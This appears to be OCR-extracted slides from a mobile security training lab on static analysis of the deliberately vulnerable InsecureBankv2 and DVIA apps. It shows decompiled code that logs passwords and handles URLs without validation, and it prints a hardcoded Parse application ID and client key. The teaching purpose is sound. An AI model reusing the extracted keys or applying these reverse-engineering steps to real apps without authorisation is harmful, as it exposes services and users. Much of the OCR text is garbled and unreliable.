A list including calls to API and its location that may include sensitive
information.
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+4$ Static Analysis of an Android Application

Information Leakage to Logs

Solution

Conduct a search of all possible calls to log methods.
It would be possible to conduct a search for each method of the log class
described in the previous section. However, sometimes, it is more effective to

conduct searches when log class files are used.
> show Paths(d, dx.tainted packages.search methods (

"android\/util\/Log", ".", ".™M)
When removing libraries included by default by Google —which are multiple—, a call

to the logging library is found:
Lcom/android/insecurebankv2/DoLoginSRequestTask; —>

postData (Ljava/lang/String;)V (0xlfa) --->
Landroid/util/Log;->d(Ljava/lang/String;
Ljava/lang/String;)I

When reviewing the code in JD-GUI, it is displayed as a result:

Log.d("Successful Login:", ", account=" + DoLogin.this.username + ":" + DoLogin.this.password);
saveCreds(DoLogin.this.username, DoLogin.this.password);
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+4$ Static Analysis of an Android Application

Information Leakage to Logs

Solution
Leakages lead from the calls to Sysytem.out.print* should be analysed as
well.

« To this end, it is necessary to conduct the following search:
> show Paths(d, dx.tainted packages.search methods (
"PrintStream", "print", "."))

« Various results of calls within the code of the application would be
obtained as a result.

« After analysing them, we find out that sensitive information is being
written via the standard output of the application.

SmsManager localSmsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: " + str5 + " password is: " + str6);
localSmsManager.sendTextMessage(str5, null, str6, null, null);
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+4$ Static Analysis of an Android Application

Conclusions

=  Summary of conclusions regarding the analysis of the application:
The application requests permissions that are not used later.

There are components of the application that provide access to protected APIs that are
accessible from other applications, but are not protected properly.

The Content Provider created by the application does not require permissions to be
accessed.

All the connections to the outside are made via non-encrypted HTTP connections.
The application stores sensitive information in the SD card.

Credentials of the application are stored in a file that is accessible from other
applications. Furthermore, the encryption key of such credentials is encrypted directly
in the application.

= The existence of some of the security issues mentioned in this analysis will be
validated during the dynamic analysis of the application.

sincibe__ ®°



+4$ Static Analysis of an Android Application

Other Vulnerable Applications

Apart from InsecureBank, there are other Android applications that have been
developed for the same purpose.

According to the laboratory and the steps studied in this unit, conduct a static
analysis of the following.

Applications:

Goat Droid: vulnerable application that belongs to the OWASP project, developed for
the learning of security on Android. It is accessible from the Qark project.

Sieve: vulnerable password manager application that shows some of the vulnerabilities
that may affect Android applications. It was developed by the creators of drozer.

It is also possible to use iNalyzer to analyse any of such applications and
compare the results obtained with your findings.
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_¢¢0 Static Analysis of an 10S Application

Introduction

= |n this laboratory, the static

analysis of a vulnerable Android
application will be conducted.

= The structure of the laboratory has
been divided into the following

sections:

Description of the application to
analyse.

Preparation of the environment.

Analysis.
Conclusions of the analysis.

SEEEEEEET
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_¢¢0 Static Analysis of an 10S Application

Vulnerable Application

Menu Attacking third party libraries = Damn Vulnerable iOS App is an
I0S application developed to learn
S about vulnerabillities.
ftacking Pame.com = Available at:
ANALYTICS http://damnvulnerableiosapp.com
Artacking Flury.com = Jtincludes all the possible
Attacking Google Analytics vulnerabilities known among iOS
applications.
:*a'ft;TLﬁiﬂj"j:‘F_j:“ij;f‘;ﬂ"f::f:;;:" = The source code is available in
their own vulnerabilities. GitHub.
https://github.com/prateek147/DVI
A

It is also possible to download the
API directly from the web.
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+4$ Static Analysis of an 10S Application

Preparation of the Environment

= For the analysis of iOS applications, it is advisable to use an Apple platform.

= In order not to interfere with other applications or documents, it is
recommendable to create a folder within the documents directory named:

“static_lab_ios”.
> cd Documents
>mkdir static lab 1ios
= Clone the repository:
>git clone https://github.com/prateekl47/DVIA.git
>cd DVIA
= The key elements of the repository are the following:
DamnVulnerableiOSApp.ipa: the non-encrypted application file compiled in ARM.

DVIA/DamnVulnerablelOSApp/: directory that includes the application project.
o Open the following file with Xcode: DamnVulnerablelOSApp.xcodeproj.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary |

= In this task, the binary will be prepared for the following analysis tasks that will be
performed during the laboratory.

Task
Unpack the DamnVulnerableiOSApp.ipa file and use the Hopper tool to
dissemble its content.

Expected result
As a result, a folder including the application’s resources, the manifest and
the source code decompiled in smali should be obtained.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary |

Solution

» Access the directory in which the APl file is stored and modify its name in

order to extract it as a zip file.
> cd DVIA

> mv DamnVulnerableiOSApp.ipa
DamnVulnerableliOSApp.zip
« Use Finder to decompile the file.

Mame S

» [0 DamnVulnerableiQSApp
| li DamnVulnerableif

[ f W AL A

Open

« Afile including the content of the packet will be created.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary |

Solution

« Use Hopper to open the binary file.
* To do this, open Hopper and select the “File” option and then, “read
executable to Disassemble...”:

File Edit Find Modify Navigate Debug Scr

New A
Open... #0
Open Recent o

Read Executable to Disassembile...
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary |

Solution

« Navigate to the folder in which the application has been decompiled and
select the binary file.

Mame

v [l DVIA
¥ [ W DamnVulnerableiDSApp
DS_Store
v [ Payload
DS_Store
¥ .y DamnVulnerablelOSApp.app

¥ embedded.mobileprovision

» [ _CodeSignature
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+4$ Static Analysis of an 10S Application

Preparation of the Binary |

Solution

Select the type of file instructions; in this case, it would be ARMv7:

* Then, load the file:

Loader: = Mach-O ARMv?7
Options
Start automatic analysis after the file is loaded

Parse Objective-C sections if present
| Code sections contain procedures only

Mv7 options

| Resolve Lazy Bindings

140
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+4$ Static Analysis of an 10S Application

Preparation of the Binary |

Solution

A view similar to the following should be obtained as a result:

LA Strings

Q
» Tag Scope
-Lmseeur i 2
~[InsecureD ulnve Field]

-[InsecureDataSterageVulnVC setUsernameTextField:)
-[InsecureDataStorageVulnVC passwordTextField]
-[InsecureD ulnVC TextField:]
-[InsecureDataStorageVulnVC keychainTextField]

-[InsecureDataSterageVulnVC setKeychainTextField:]
~[InsecureD ulnVC i
~[InsecureD uinvC id:]
-[InsecureDataStorageVulnVC emailTextField]

-[InsecureDataStorageVulnVC setEmail TextField:]
~[InsecureD ulnVC ph ]
-[InsecureD uinvC ield:]
-[InsecureDataStorageVulnVC userPasswordTextField]

~lInsecureDataStorageVulnVC setUserPasswordText...
-lInsecureDataStorageVulnVC managedObjectContext]
~linsecureD ulnve
-lInsecureDataStorageVulnVC .cxx_destruct]

ObjectCo...

-[PDKeychainBindingsController serviceName]
-[PDKeychainBindingsController stringForKey:]

-[PDI i ontroller i
+[PDI inBindingsController

sub_1bc24

sub_1bc64

sub_1bcE8d

-[PDKeychainBindingsController keychainBindings]
-[PDKeychainBindingsController values]
-[PDKeychainBindingsController valueForKeyPath:]
-[PD i ontroller KeyPath:]
-[PDKeychainBindingsController .cxx_destruct]
EntryPoint

> analysis

DamnVulnerablelOSApp.hop

Yo |0 =
A 1| 1 |

Bo@lceca b.w 8x8263c ¥ File Information
; endp
pe1chce mov r8, r8 Path: | fUsersfguizos{Documents/Universic
Loader: Mach-C
BEGINNING OF PROCEDURE =
CPU: | armfv7?
Calling Convention:  AAPCS
EntryPoint: » Graphic Views
0001ceda {rd, r5, r6, r7, 1r}
0001ced2 add r7, sp, #8xc ¥ Fermat
#001cedd str r8, [sp, #@xc + var_1@]! . . =
2001c0ds mov r5, rl R Datault v
oealceda mov ré, r@
8881cedc blx imp___symbelstubl__objc_autereleasePoolPush
0081ched mov rd, r@ Type: a
0021coe2 movw re, #oxe6ede
oe@lceet movt re, #exld Field path: <
00@1clea movw r2, #@x7db8
0ee1clee movt r2, #oxid Manage Types
eee1cefr2 add re, pc
geelcers add r2, pc e et
POR1COTE dr r1, [rel
0p@lcera dr re, [r2]
oeolcefa blx imp___ symbolstubl_ objc_msgSend
0e@lcefe blx imp___symbelstubl_ NSStringFromClass
0081c1e2 mov r?, ri1
eeelclied blx imp___symbolstubl_objc_retainAutoreleasedReturnV 4 golors and Tags
opalcies mov rd,
00@lclea mov rd, ré B
8001c10c mov F1, r5 prca: || set Clear
teelclee novs rz, #oxe Procedure: | [ Set Clear
0001clle mov r3, r4
0081c112 blx imp___symbelstubl__UIApplicationMain Address:
0081c116 mov r5, r@
00@1c118 mov re, rd
0e@lclla blx imp___symbolstubl objc_release Block:
00elclle mov re,
0e01c120 blx imp___symbelstubl__objc_autoreleasePoolPop
section __common Procedure:

Analysis segment __LINKEDIT

Analysis segment External Symbals

> dataflow
> dataflow
> dataflow
> dataflow
Background

analysis of procedure
analysis of procedure
analysis of procedure
analysis of procedure
analysis ended

Address 0x1c0d1, Segment _TEXT, EntryPoint + 1, Section __text, file offset 0x180d1

in _ TEXT

in _|

in __LINKEDIT

in External Symbols

Manage Tags
v Is Referenced By

Address instruction

L 2
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary I

= The API file that has been extracted includes further files apart from the binary
that has been extracted and loaded in Hopper.

Task

Analyse the structure of the decompiled API file and list the function of each
of the files that it includes.

Expected result

The result should be a list of files that are included in the distribution file of

the application. The student should describe the utility of each file, within the
binary of the application.
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+4$ Static Analysis of an 10S Application

Preparation of the Binary I

Solution
- The decompiled API file creates the following folders:

Payload includes the “.app” container of the application.
Symbols includes files with symbolic information on the compiled code of

the application. Such files are used during the execution of the
application in order to create reports in case that it fails.

s

Name
¥ | | Payload

_. DamnVulnerablelOSApp.app
¥ N Symbols

1B3A202D-CF7C..388833.5ymbols
F2GEB273-2CA2..405B3F5.5ymbols

143
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+4$ Static Analysis of an 10S Application

Preparation of the Binary I

Solution

Click the right button of the mouse and select “Show Package Contents”
in order to access the content of the packet.

Name ~
v [ Payload
Dar
= Open

= Equh Show Package Contents

A new folder including the contents of the packet will be opened.
P

_CodeSignature 57x57.png 72x72.png 76%76.png 120%120.png
- -
152x152.png 640 _960_Splashs 640x%1136_Splash Applcon40x40@2 Applcon60xE0@2
cn.png Scn.png x.png x.png
archived- Base.lproj card-bg.png card-bg@2x.png DamnVulnerablel
expand...nts.xcen OSApp
g - ) == ==
embedded.mobile en.lproj google.co.uk.cer header-bg.png header-
provision bg@2x.png

mllmnana TR [PPSR P [ enin b -
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+4$ Static Analysis of an 10S Application

Preparation of the Binary I

Solution

The following files may be found in the folder:

Proj folders: include information translated into different languages.

Png files: icons, splash screens and other graphic elements of the interface.
DamnVulnerableiOSapp: binary file of the application.

Info.plist: configuration files of the application (manifest).

Google.co.uk.cer: Google’s public key certificate.
Embedded.mobileprovision: includes identifying information of the application
as well as the certificate used to sign the application.

Model.momd: data model of the application.

Pkginfo: Pkginfo: includes the type of packet, plus four bytes used to identify
the application.

archived-expanded-entitlements.xcent: includes the configuration that
enables the sandboxing, access to notifications, etc.

_CodeSignature: includes the signature of the binary file of the application.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary lll

= Then, create the pseudocode based on the assembling code included in the
binary file. It allows us to understand more clearly the functioning of an
application whose source code is not available.

Task

Use Hopper to reconstruct the didFinishLaunchingWithOptions method of
the AppDelegate pseudocode.

Expected result
The result should be a piece of legible code that allows the user to

understand more deeply the operations performed by the method without
needing yo know the set of instructions armv?.
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+4$ Static Analysis of an 10S Application

Preparation of the Binary lll

Solution

* In Hopper, access the search menu on the right and search the
didFinishLaunchingWithOptions method of the delegate:

I+ [ -

eepafocs add sp, #@xc

Strings 00007966 pop.w {ra, r7, lr}
apeeftI6a b.w @8xB82638
| O-didFinishLaur| ) ; endp
apBRTI6e mov rg, rg
L - T T+ L O O
-[AppDelegate application:didFinishLaunchi... ===—====—==—o=-BEGINNING 0OF FPROCEDURE =

- [AppDelegate application:didFinishLaunchingWithOp

[boeata7e push ir4, r5, r6, r7, lr}
peentarzz add r7, sp, #@xc
BeeeTaT74 push.w {rg, sl}

peeatarzs sub sp, #0@xc

peeeT97a mov rg;, r@

BeeeT97c move re, #@x2864
peeeTI8Ee movt re, #dxle

peeeTI84 move sl, #0x44b6
peeeraas movt sl, #@xle

2eeRTta8c add ré, pc

20e0RT98e add sl, pc

oeeata9e ldr r5, [re]

oeeatasz ldr.w rd, [si]

@eeatase mov rl, r5

geeatoss blx imp__ symbolstubl_ objc_msgSend
AAGRFNO-~ LT -7 -7

- If the method is selected, its code in assembler is displayed in the central
panel.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary lll

Solution

* In order to obtain the method’s pseudocode, it is necessary to click the
corresponding button on the right side of the panel:

DamnVYulnerablelOSApp.hop
-_?EII
L

dd sp, #@xc ¥ File Information
DE_"" [ ] @ Pseudo Code
L3

Remove potentially dead code Rename
....... Remove LO/HI macros

sincibe_
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+4$ Static Analysis of an 10S Application

Preparation of the Binary lll

Solution

- The pseudocode of the application is created in a new window:

@ & Pseudo Code

Remove potentially dead code Rename
Remowve LO/HI macros

I char -[AppDelegate application:didFinishLaunchingWithOptions:](void *
self, void % _emd, void % arg2, void % arg3) {

ré = [[UINavigationBar appearance] retain];

| rd4 = [[UIImage imageNamed:@'header-bg"] retain];
| [ré setBackgroundImage:rd4 forBarMetrics:0x@];

[r4 releasel;

[r6 release];

r5 = [[UINavigationBar appearance] retain];

r4 = [[UIColor whiteColor] retainl;

[r5 setTitleTextAttributes: [NSDictionary dictionaryWithObjects:(sp -
x4 — Bx4 - Bx4 — Bx4 - x4 - Bx4 — @x4 - Bxc) + Ox8 forKeys:(sp — @x4 -
Ox4 — Bx4 - Ox4 — Bx4 — Oxd - @x4 - Bxc) + @x4 count:Bx1]];

[rd4 releasel;

[r5 releasel;

[Parse setApplicationId:@"UaaSszBfQVE6It1QrwZ45PiY822TAUTkoEDTHIy "
clientKey:@"R8TRtBGNUDSCwezz5poKIXEHURXvSFZFInDrubXae"];

[self fetchTutorials];

return @x1;

« Even though this is not the main objective of this task, with this operation
it is possible to discover that the application uses Parse’s libraries.
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_¢¢0 Static Analysis of an 10S Application

Preparation of the Binary IV

* The IPA file downloaded is not synchronised with the source code of the
repository. The binary file will be used in the analysis in its latest version.
Therefore, it is necessary to compile it by using XCode.

Task

Use XCode to compile the DVIA source code, find the binary file, and use
Hopper to load the application obtained.

Expected result
A window of Hopper displaying the open binary (in x86 format).
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+4$ Static Analysis of an 10S Application

Preparation of the Binary IV

Solution
* Execute the project in an emulator in XCode with DVIA opened.

N

[ | E DamnYulnerablelOSApp ; i iPhone & Running C

Build and then run the current scheme

o M & = & B OB L [E pamnvulnerablelOSApp
NMVUIMeT ey s pp 1 ',r’l,-
suchbaselite framework ? f# AppleWatchConfigurationView(
1

f#  DamnVulnerableI0SApp
Mts.framework w JF

/¢ Created by Egor Tolstoy on 1
I /f Copyright (c) 2815 HighAltit

« This action will compile the appllcatlon to the x86 architecture (in which the
simulator works), install and execute it:

iPhene 6 - iPhone 6 /i0S 9.1 (138137)
1:11 PM

irse.framework

Menu Damn Vulnerable iOS App

Damn Vulnerable iOS App (DVIA) is an iOS
application that is damn vulnerable. Its main
goal is to provide a platform for mobile
security enthusiasts/professionals to test their
iOS penetration testing skills in a legal
environment. This application covers all the
common vulnerabilities found in iIOS
applications (following OWASP top 10 mobile
risks) and contains several challenges that the
user can try. This project is developed and
maintained by @prateekg147. The
vulnerabilities and solutions covered in this
app are tested upto iOS 8.1

Project Leader: Prateek Gianchandani
@prateekg147

Project Contributor: Egor Tolstoy

@igrekde

For any questions related to this project,
please get in touch with me at
prateek@damnvulnerableiosapp.com

http://damnvulnerableiosapp.com
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+4$ Static Analysis of an 10S Application

Preparation of the Binary IV

Solution

« Then, find the binary file of the application.

« The iOS emulator uses a ... folder as root.

* From that point, navigate to
the/Users/usuario/Library/Developer/CoreSimulator folder and select the
most recent folder, since it should include the most recent emulator.

o [ data * || Containers * 7 Bundle » [ Application 4 BB C03116CF-_7C8B50F455 » ~, DamnVulner...
device.plist || Documents » || Data » [ 7] Framewor k » |7 D5575C45-..8D2688B81E »
'8 Downloads » [ Shared » 1 PluginKitPlugin
1 Library > 8 VPNPlugin

»>
[ Media > O

- The binary file is located in the “.app” packet.
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+4$ Static Analysis of an 10S Application

Preparation of the Binary IV

Solution

* Open itin Hopper:

File Edit Find Modify MNavigate Debug Scri =
' o = Bm C03116CF-186D-4D... &

New

Open... i
e Name

Open Recent
.D5_Store

com.apple.mobile_container_manager.metadata.plist
¥ .y DamnVulnerablelOSApp.app
» [ en.proj
¢ 8 Model.momd
¢ [ ] Base.lproj

> | Plygln
B DamnVulnerablelOSApp

Applconduxdu@sx.png
B ApplconG0x60@2x%.png

Read Executable to Disassemble...

* Choose the set of instructions x86:

Loader:  Mach-0 64bits
Options
Start automatic analysis after the file is loaded
Parse Objective-C sections if present
Code sections contain procedures only

Mach-O 64bits options
Resolve Lazy Bindings
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_¢¢0 Static Analysis of an 10S Application

Elements of the Application

= Using the file obtained after the compilation (x86 architecture), analyse the

components that are included in the application, according to the description of
the info.plist file.

Task

Identify the elements that are included in the application, according to the
description of the info.plist file. Identify the URL that the application is able to
work with and the name of the main file that defines the user’s interface.

Expected result
A list with all the elements previously mentioned.
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution

« The info.plist file includes the following information:

¥ Information Property List
Bundle name
DTSDKMame
DTXcode
DTSDKBuild

Localization native development re...

Bundle version
BuildMachineOS5Build
DTPlatformMame
Bundle versions string, short
Main storyboard file base name
Bundle OS Type code

- CFBundleSuppeortedPlatforms
InfoDictionary version

P Required device capabilities
Executable file

b UlLaunchlmages

» URL types
Bundle identifier
DTCompiler
DTXcodeBuild
Bundle creator OS Type code

Application requires iPhone enviro...

b Supported interface orientations
Bundle display name

b lcon files (i05 B)
DTPlatformVersion
MinimumOSVersion
DTPlatformBuild

b UlDeviceFamily

dbr dp dF Ak dAF Ap dF Ak AF dAF A AR AR AP A AR AR AR AF A AR AR AR dAr AR AR AR dAF Adp

Dictionary
String
String
String
String
String
String
String
String
String
String
String
Array
String
Array
String
Array
Array
String
String
String
String
Boolean
Array
String
Dictionary
String
String
String
Array

(29 items)
DamnVulneraclelOSApp
iphoneosB.1

0810

12B411

en

1.0

14B25

iphoneos

13

Main

APPL

(1 item)

6.0

(1 item)
DamnmVulneraclelQSApp
(2 items)

(1 item)
com.highaltitudehacks.dvia
com.apple.compilers./lvm.clang.1_0
6A1052d

7777

YES

(1 item)

DVIA

(1 item)

8.1

7.0

12B411

{1 item)

®.
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution
The following information is provided when analysing elements in-depth:
« The main storyboard (interface’s file):

Main
ADPI

Main storyboard file base name
Fuimdle M2 Tune ~nne

L N |
u

i (o R |

« The application supports URL with DVIA as identifier:

¥ URL types 5 Array (1 item)
¥ ltem 0 (None) Dictionary (2 items)
Document Role 5 String Mone
¥ URL Schemes 5 Array (1 item)
Item 0 String dvia

« Itis necessary to search extensions in the binary, since they are included
in files independent from the main application.
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution
* Observe the openURL method of the AppDelegateto verify how the URL
that are received by the application are handled.

bool —[AppDelegate application:openURL:sourceApplication:annotation:](void % self, void % _cmd,
void % arg2, void * arg3, void % arg4, void * arg5) {
var_10 = self;
objc_storeStrong(8x@, arg2);
objc_storeStrong(@x@, arg3);
| objc_storeStrong(@x@, arg4);
objc_storeStrong(@x@, arg5);
var_40 = [[8x® absoluteString] retainl;
if ([var_40 range0fString:rdx] != @x7Ffffffffffffiff) {
var_58 = [[var_18 getParameters:@x@] retain];
rax = [var_58 objectForKey:@"phone"];
rax = [rax retainl;
var_80 = rax;
[rax releasel;
if (var_8@ != 8x@) {
var_98 = [UIAlertView allocl;
rax = [var_58 objectForKey:@"phone"l;
rax = [rax retain];

rcx = rax;
var_A@ = rax;
rax = [NSString stringWithFormat:@'Calling %@ without validation. Ring

Ring !", rexl;

rax = [rax retain];

rex = rax;

var_B@ = rax;

rax = [var_98 initWithTitle:@"Success" message:recx delegate:0x@
cancelButtonTitle:@"0K" otherButtonTitles:0x@];

var_B8 = rax;

* Itis not necessary to perform an in-depth revision of the code to
understand that the application seem to use the URL to make phone calls
and there are not any kind of validation of the input received.

» This problem will be verified during the dynamic analysis.
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_¢¢0 Static Analysis of an 10S Application

Elements of the Application

= The delegate of the application and its controllers are not specified in the info-
plist file.

Task

Use Hopper to identify the name of the delegate class and the name of the
controllers existing on it.

Expected result
A list of controllers and the name of the application’s delegate.
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution

In order to discover the application’s controllers, conduct a search on
some of the methods that they should implement by inheritance of the
ViewController class
(https://developer.apple.com/library/ios/documentation/UIKit/Reference/U
ViewController_Class/).

Furthermore, Hopper provides a list including all the classes of the
application organised in tags.

C_YiewCantroller Q
¥ Tag Scope

AppDelegate
ApplicationPatchingDetailsVC
ApplicationPatchingVC
BrokenCryptographyDetailsVC
BrokenCryptographyVic
ClientSidelnjectionDetails\ViC
ClientSidelnjectionV'C
DamnVulnerableAppUtilities
ECPercentDriveninteractiveTransition
ECSlidingAnimationController
ECSlidingInteractiveTransition
ECSlidingSegue
ECSlidingViewController
FBAppCall
FBReguest
FBSession
FBSessionTokenCaching
FBSessionTokenCachingStrategy
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution

* ViewControllers and AppDelegate classes may be extracted from the list of
names of the different “tags”.

| AppDelegate | BFTaskCompletionSource CBLDatabase
AppleWatchFirstChallengeViewControl er BFURL CELDatabaseChange
AppleWatchviewController BFWebViewAppLinkResolver CBLDocument
ApplicationPatching DetailsVC BFWebViewAppLinkResolverWebViewD... CBLFacebookAuthorizer
ApplicationPatchingVC Bolts CBLFullTextQueryRow
AttackingFlurryViewController BrokenCryptographyDetailsVC CBLGenericArrayhMatcher
AttackingGAViewController BrokenCryptographyVC CBLGenericDictMatcher
AttackingParseViewController CBJSOMEncoder CBELGeocQueryRow
AttackingThirdPartyLibrariesTableView... CBLAttachment CELJSON
BFAppLink CBLAuthenticator CBLJSONArrayMatcher
BFAppLinkNavigation CELBase&4 CBLJSOMDictMatcher
BFAppLinkReturnToRefererController CBLBasicAuthorizer CBLJSONMatcher
BFAppLinkReturnToRefererView CBLBatcher CBLJSONReader
BFAppLinkTarget CBLBulkDownloader CBLLazyArrayOfJSON
BFExecutor CBLCache CBLLiveQuery
BFMeasurementEvent CBLChangeMatcher CELManager
BFTask CBLChangeTracker CBLModel
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution

* ViewControllers and AppDelegate classes may be extracted from the list of

names of the different “tags”.

CBLModelArray
CBLModelFactory
CBLMultiStreamWriter
CBLMultipartDocumentReader
CELMultipartDownloader
CBLMultipartReader
CELMultipartUploader
CBLMultipartWriter
CBLOAuth1 Authorizer
CBLPersonaAuthorizer
CEBLPulledRevision
CBLQuery
CBLQueryEnumerator
CBLQueryOptions
CELQueryRow
CBLReachability
CBELRemote )JSOMReqguest

CBLRemoteRequest
CELReplication
CBLRevInfoMatcher
CELRevision
CEBLSavedRevision
CBLSequenceMap
CBLSocketChangeTracker
CBLSpecialkey
CBELTemplateMatcher
CBLTokenAuthorizer
CBLUITableSource
CBLUnsavedRevision
CELValidationContext
CBLView

CBLWebSocketChangeTracker

CBL_Attachment
CBL_BlobStore

CBL_BlobStoreWriter
CEL_Body
CBL_FMDatabase
CBL_FMResultSet
CBL_FMStatement
CBL_GCDAsyncReadPacket
CBL_GCDAsyncSocket
CBL_GCDAsyncSocketPreBuffer
CBL_GCDAsyncSpecialPacket
CBL_GCDAsyncWritePacket
CBL_MYDynamicObject
CBL_MutableRevision
CBL_CAConsumer
CBL_OCAMutableURLRequest
CEBL_OAPlaintextSignatureProvider
CBL_CARequestParameter
CBL_OAToken
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+4$ Static Analysis of an 10S Application

Elements of the Application

Solution

* ViewControllers and AppDelegate classes may be extracted from the list of
names of the different “tags”.

CBL_Puller
CBL_Pusher
CEL_Replicator
CBL_Revision
CBL_RevisionList
CBL_Server
CBL_Shared
CBEL_ WebSocket
CBL_WebSocketClient
CBL_WebSocketHTTPLogic
CKRecord{YapDatabaseCloudKit)
CLIColor
ClientSidelnjectionDetailsVC
ClientSidelnjectionVC
DDASLLogCapture
DDASLLogger
DDAbstractDatabaselogger

DDAlpstractLogger
DDContextBlacklistFilterLogFormatter
DDContextWhitelistFilterLogFormatter

DDDispatchQuevelogFormatter
DDFileLogger
DDLog
DDLogFileFormatterDefault
DDLogFilelnfo
DDLogFileManagerDefault
DDLogMessage
DDLoggerMode
DDLoggingContextSet
DDMultiFormatter
DDTTYLogger
DDTTYLoggerColorProfile
DamnVulnerableAppUtilities
ECPercentDriveninteractiveTransition

ECSlidingAnimationController
ECSlidingInteractiveTransition
ECSlidingSegue
ECSlidingViewController
FEBAppCall
FEReguest
FESession
FBSessionTokenCaching
FBSessionTokenCachingStrategy
FirstParseClass
Flurry
FlurryAutolncrement
FlurryConnectionDelegate
FlurryDataSender
FlurryDataSenderBase
FlurryDataSenderBlockinfo
FlurryDataSenderindex

- Extensions: in this case, there is one for Apple Watch that can be found

in the plugins directory, within the “.app” packet.
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_¢¢0 Static Analysis of an 10S Application

Data Storage

= |tis necessary to check how the application stores data and verify whether data
stored by such application should be protected with additional measures.

Task

Verify the use of the different types of storage in the application, and check
whether there is a possibility for such storage systems to be used for
credentials storage.

Expected result
A list including the different storage mechanisms used, a description of data
stored in them, and the security configuration of the storage mechanisms.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

«  The main types of storage mechanisms on iOS are the following: plist
files, NSUserDefaults and databases via SQL libraries or CoreData.

Plist files:

 Plist files are generally created from an object such as NSDictionary Or
NSMutableDictionary by calling the writeToFile family of methods
included in such classes.

- Switch to the Strings tab and write the method to search.

O, writeToFile [ ]
= Tag Scope

writeToFile:atomically:
writeToFile:options:error:
writeToFile:atomically:encoding:error:
writeToFile:

writeablePathForFile:
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

Select the entry of the list in order to point the place in which the string is

deflned BeoeRraR1eas5567c2 db "sharedKeychainBindings", @ ; XREF=@x18@79da88
" peeBRad1885567d9 db “"initWithData:encoding:", @ ; XREF=8x10879dad@

f00eR001005567T0 db "writeToFile:atomically:", @ : XREF=0x10879ca98

feeaeeR1e0556808 db "standardUserDefaults", @ ; XREF=0x10879daa@

000000010855681d db "setBool:forKey:", @ ; XREF=0x10879daaB

feoe0RR10855682d db "firstUserView", @ ; XREF=0x10879dab@

peeRRad18855683Db db "returningUserTextField"”, @ ; XREF=0x10879dabB

Select the XREF &

Next Procedure

Ao “n

UserView
rningUser

rningUser
rningUser|
edInLabel
EEqualInC
ithPasswo
tinas:".

References To Highlighted Word...
References From Highlighted Word...
Previous XREF

avigate” menu, select.

The elements of the annlication in which the method is called are

0x1000c7f91 (-[BrokenCryptographyDetailsVC textFieldS... mov rdi, gword [ds:0x10079da88]
0x1000d8Bc8¢ (-[InsecureDataStorageVulnVC savelnPlistFil... mov rsi, gword [ds:0x10079da28]
0x1001d4f42 (-[FlurryHTTPResponse saveToDisk] + Oxdd)  mov rsi, gword [ds:0x10079da28]
0x1001d88f6 (-[FlurryDataSenderBlockinfo initWithData:]... mov rsi, gword [ds:0x10079da98]
0x1001d8de3 (-[FlurryDataSenderBlockinfo setData:] + Ox67) mov rsi, gword [ds:0x10079da28]
0x10033d00b (__62+[PFPurchase downloadAssetForTran... mov rsi, gword [ds:0x10079da98]
0x100387ccd (+[TAGPropertyListUtil writePropertyList:wit... mov rsi, gword [ds:0x10079da%98]

displayed.

®.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

« Select one of the entries and click “go”. Then, the method in which the
call is made is loaded. In order to facilitate the reading, read the method

in pseudocode.

2 AUISIUDARR.I U

[ ] Pseudo Code

o g — %
[ ]

| Remove potentially dead code Rename
Remove LOJHI macros

8
s: bool -[BrokenCryptographyDetailsVC textFieldShouldReturn:](void x self,
void * _cmd, void % arg2)
o var_10 = self;
obje_storeStrong(@xa, arg2);
ol rax = NSSearchPathForDirectoriesInDomains(@x9, @x1, @x1);

rax = [rax retain];

var_80@ = rax;

rax = [rax objectAtIndex:8x@];

rax = [rax retain];
ul var_28 = [[rax stringByAppendingPathComponent:@"/secret-data"]
o retain];

g [rax releasel;
[var_80 release];

di rax = [var_10 passwordTextField]l;
rax = [rax retain];

1 var_98 = rax;

| [rax release];

if (0x@ == var_98) {
[@x® resignFirstResponderl;
rax = [0x@ text];
el rax = [rax retain];
var_B8 = [rax lengthl;
[rax release];
el if (var_B8 == 0x0) {
o rax = [[UIAlertView alloc] initWithTitle:@"Oops"
message:@'Please enter a password" delegate:@x@ cancelButtonTitle:@"0K"
otherButtonTitles:@x@];

8]
a

iftb)
s

]

¥ File Information

Path:  fUsers/guizos/Libr
Loader: Mach-0

CPU:  intel/xB6_64
Calling Convention: Syste.

:Graphi: Views
Type: | Entropy
From: O

To: 12,181,816

Section | Sem

Instruction Enceding

48 8B 3D 00 5B 6D 00

| Format

ul var_D8 = rax;
8! [rax show];
Double-click on links to decompile the target.
FuTy — e
ax

Argument 1:  Default

®.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution
* In certain cases, the method may be long, that is why the internal search
(cmd+F) is used to search the corresponding element; writeToFile in this

case.

[ ) @ Pseudo Code

Remove potentially dead code Rename
Remove LO/HI macros

O~ writeToFile @) (<[> | Done | [ Replace ¢
rax = [rax retain]; \Gra
var_E®@ = rax;
rax = [rax text];
rax = [rax retain];
var_38 = [[rax dataUsingEncoding:@x4] retain];

[rax releasel;

[var_E@ releasel;

*rsp = rep intrinsic_movsg(*rsp,
#_kRNCryptorAES2565ettings, @"Secret-Key'", @xd, var_38,
@selector(encryptData:withSettings:password:error:));

var_12@ = [[RNEncryptor encryptData:var_38
withSettings:@"Secret-Key" password:0x@ error:_objc_msgSend] retainl;

objc_storeStrona(@xe, 0x0);

[var_120 writeToFile var_28 atomically:8x1];

rax = [NSUserDefaults standardUserDefaults];

rax = [rax retainl;

var_15@ = rax;

[rax setBool:@x1 forKey:@'loggedIn"];

[var_150 releasel;

rax = [NSUserDefaults standardUserDefaults];

rax = [rax retain];

[rax synchronizel;

[rax releasel;

rax = [var_18 firstUserView];

rax = [rax retainl:

* In this case, some information is stored encrypted via RNEncryptor.
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+4$ Static Analysis of an 10S Application

Data Storage

Solution

